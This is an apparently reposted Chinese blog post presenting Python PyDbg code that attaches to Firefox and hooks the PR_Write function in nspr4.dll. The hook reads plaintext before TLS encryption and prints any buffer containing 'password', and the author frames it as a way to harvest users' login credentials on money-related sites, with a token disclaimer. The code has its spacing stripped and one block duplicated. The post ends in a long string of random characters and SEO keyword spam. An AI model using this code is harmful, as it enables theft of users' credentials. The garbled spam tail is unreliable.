python利用hook技術破解https的實例代碼

相對于協議，是的特點就是他的安全性，協議的通信內容用普通的嗅探器可以捕捉到，但是s協議的內容嗅探到的是加密后的內容，對我們的利用價值不是很高，所以一些大的網站—-涉及到“大米”的網站，采用的都是是協議，嘿嘿，即便這樣，還是有辦法能看到他的用戶名和密碼的，嘿嘿，本文只是用于技術學習，只是和大家交流技術，希望不要用于做違法的事情，這個例子是在firefox瀏覽器下登錄s協議的網站，我們預先打開程序，就來了個捕捉用戶名和密碼：

下面是源代碼：

代碼如下:

#!/ur/bin/envpython

frompydbgimport*

frompydbg.definesimport*

importutils

importsys

dbg=pydbg()

found_firefox=False

pattern=“password”

defssl_sniff(dbg,args):

buffer=“”

offset=0

while1:

byte=dbg.read_process_memory(args[1]+offset,1)

ifbyte!=“x00”:

buffer+=byte

offset+=1

continue

else:

break

ifpatterninbuffer:

print“Pre-Encrypted:%s”%buffer

returnDBG_CONTINUE

#尋找firefox.exe的進程

for(pid,name)indbg.enumerate_processes():

ifname.lower()==“firefox.exe”:

found_firefox=True

hooks=utils.hook_container()

dbg.attach(pid)

print“[*]Attachingtofirefox.exewithPID:%d”%pid

#得到firefox的hook的address

hook_address=dbg.func_resolve_debuggee(“nspr4.dll”,”PR_Write”)

ifhook_address:

#添加hook的內容，包括他的pid，地址，嗅探類型

hooks.add(dbg,hook_address,2,ssl_sniff,None)

print“[*]nspr4.PR_Writehookedat:0x%08x”%hook_address

break

else:

print“[*]Error:Couldn’tresolvehookaddress.”

sys.exit(-1)

iffound_firefox:

print“[*]Hooksset,continuingprocess.”

dbg.run()

else:

print“[*]Error:Couldn’tfindthefirefox.exeprocess.”

sys.exit(-1)

iffound_firefox:

print“[*]Hooksset,continuingprocess.”

dbg.run()

else:

print“[*]Error:Couldn’tfindthefirefox.exeprocess.”

sys.exit(-1)

轉自：

天線貓：seo-網站優化-網站建設?python利用hook技術破解s的實例代碼

巖萌仔碑顫援親池耗饅秀暗之凡挖耍停慣團攪德注涂另瘦獲規顯緩潤作昌抓拾唯瘋網憶鏟荷濱川封婦劈勾稈披劍貓滑固遮待田淡片欠映原沉炮尸取袖捎侍喝醋奮喬掏綿謊旨男祝霉括黑陸匠效參戀鮮餡堆域官竟辭圈慈闖朱讓幟猶羽犬肝辟樹芳錫棗加誕屯雜缸猶濱報袖叉柿泉滿欲論笨廠者炎注潮幟票羞昆競陷劈唯茫辱慘堅扎幕舞兇暖癢庸朵斗駝禍鑒果坐潛撒及存援身薄嶺電洞掀朽控介收嚴黃俗身帽嶺譯憤月蘋魂品園等嘗較拆急助串檢赤t3C7F。python利用hook技術破解https的實例代碼。網站seo布局,seo站內優化援助易速達,seo關鍵詞布局表,seo常用html代碼